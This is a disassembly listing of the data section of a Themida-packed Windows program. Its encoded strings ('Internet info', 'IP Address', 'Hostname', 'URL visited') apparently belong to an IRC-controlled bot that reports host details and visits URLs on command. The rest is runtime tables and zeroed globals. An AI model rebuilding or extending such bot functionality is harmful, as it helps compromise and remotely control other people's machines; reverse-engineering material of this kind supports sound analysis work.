aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A170	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A1B4	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A1B8	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A1BC	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A1C4	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A204	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A230	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A24C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A288	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A2A4	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A2B0	dd 60EF7AABh		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A2C0	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A2CC	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2D8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2DC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2F0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2F4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A300	dd offset off_43A300	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A304	dd offset off_43A300	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A318
		dd offset dword_43A318
dword_43A310	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A318	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A308o
					; ___:0043A30Co
off_43C320	dd offset off_43A300	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C324	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C328	dd offset word_43C332	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C32C	dd offset word_43C332	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C332	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C328o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C534	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C538	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C540	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C544	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C548	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C550	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C554	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C560	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C640	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C644	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C7A8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C7B0	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C7B8	dd 14h			; DATA XREF: sub_421624+2o
off_43C7BC	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C29Ch, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C890	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C8A0	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C8B8	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C8C4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8D0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8D4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8D8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8DC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8E0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8E4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8F4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8F8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8FC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C970	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C974	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C978	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C97C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C980	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C988	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C98C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43384Ch
		dd 0FFh, 427960h
off_43CA18	dd offset dword_4DB5E0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5E0
		dd 101h
dword_43CA28	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA38	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA58	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA88	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC98	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CCA0	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CCA8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CCC0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCD8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCDC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCE0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCE4	dd offset dword_545350	; DATA XREF: ___:off_43CD64o
		dd 0Fh dup(0)
off_43CD24	dd offset dword_544450	; DATA XREF: ___:off_43CD68o
		dd 0Fh dup(0)
off_43CD64	dd offset off_43CCE4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD68	dd offset off_43CD24	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD70	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD74	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD78	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD80	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD84	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD88	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD8C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CDBC	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CDC0	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDF8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF58	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D0B4	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D0CC	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0EC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D10C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D130	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D150	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D158	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D160	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D178	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCE0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEE0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEE4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEE8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEEC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEF0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEF4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEF8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E15h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043378Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A78o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384E8o
dword_457444	dd 0E38Eh dup(0)
		db 2 dup(0)
word_49027E	dw 0			; DATA XREF: Themida_:loc_54BCD7o
		dd 0CA1h dup(0)
dword_493504	dd 8750h dup(0)		; DATA XREF: Themida_:0055D9C5o
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438354o
		dd 56A6h dup(0)
dword_4CACE0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACE4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACE8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACEC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD6C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CADAC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE3C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE40	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE50	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE54	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE58	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE5C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE90	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAEC0	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAECC	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAED8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEE0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEE4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAEFC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAF08	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAF10	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAF14	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAF18	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAF28	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAF2C	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF50	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF58	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF5C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF74	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF80	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF8C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAFA4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAFB4	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAFC4	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAFC8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+112w
